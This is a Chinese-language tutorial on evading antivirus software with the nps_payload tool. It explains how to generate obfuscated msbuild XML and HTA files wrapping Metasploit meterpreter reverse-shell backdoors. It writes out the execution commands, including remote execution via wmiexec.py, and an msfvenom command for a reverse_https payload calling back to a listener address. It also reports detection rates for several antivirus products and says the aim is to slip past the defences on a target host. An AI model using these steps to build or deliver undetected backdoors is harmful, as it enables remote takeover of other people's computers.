几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
一、nps_payload介绍nps_payload是2017年开源的工具,安装使用都比较简单,nps_payload可以生成基于msbuild的xml文件和独立执行的hta文件,并对xml文件和hta文件做了一定的混淆免杀,从而达到免杀的效果。
二、安装nps_payload
3、运行python nps_payload.py
三、nps_payload使用说明
nps_payload生成的xml或hta文件都需要使用msbuild来执行。
Microsoft Build Engine是一个用于构建应用程序的平台,此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。
说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法直接在cmd中使用。需要带上路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319。
适用条件:.NET Framework>=4.0
nps_payload对xml文件和hta文件做的一些免杀是比较直接有效的:
三、利用nps_payload生成后门我就以生成基于msbuild的xml文件为例进行演示。
执行python nps_payload.py,选择1,Generate msbuild/nps/msf payload
第2步payload选择1,windows/meterpreter/reverse_tcp
后面输入监听IP和端口
之后可生成后门文件
我们需要用到的只有msbuild_nps.xml这一个文件
msbuild_nps.xml文件内容如下,命令经过了编码处理
文件的执行方式有两种
1. 本地加载执行:- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
2. 远程文件执行:
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<
我这里就用本地加载进行测试,msbuild.exe在windows中的的一般路径为C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
msfconsole监听相应payload和端口,可正常上线
打开杀软进行测试
virustotal.com上查杀率为3/56
使用nps_payload生成的hta文件,virustotal.com上查杀率为7/57。(msf直接生成的hta-psh文件查杀为28/57,msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f hta-psh -o test.hta)
四、nps_payload小结
基于白名单的执行payload侯亮大神讲的比较多了,nps_payload只是使用了其中的msbuild.exe方法,nps_payload还对生成的文件进行了混淆处理,使用非常简单,免杀效果也是不错的。
五、参考资料